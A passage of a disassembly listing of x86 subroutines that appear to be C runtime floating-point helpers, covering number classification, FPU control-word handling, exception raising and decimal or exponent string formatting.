		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4E0B28, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4E0B28, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_442038


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_442110
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_44203C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_442138
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_442138
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_442144
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26A01F7h
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	near ptr 26C041Bh
		nop
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_441DB4, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_441BA8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_441DB8
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_441DB8
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_442160o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4E0BC0, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4E0BBC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_441DB8
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4E0BC0, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4E0BC0, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4E0BC4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4E0BBC
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_441DB8
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4E0BC0, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4E0BBC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4E0BC4, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4E0BBC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4E0BC4, ecx
		setl	cl
		mov	byte_4E0BC8, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4E0BC4, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


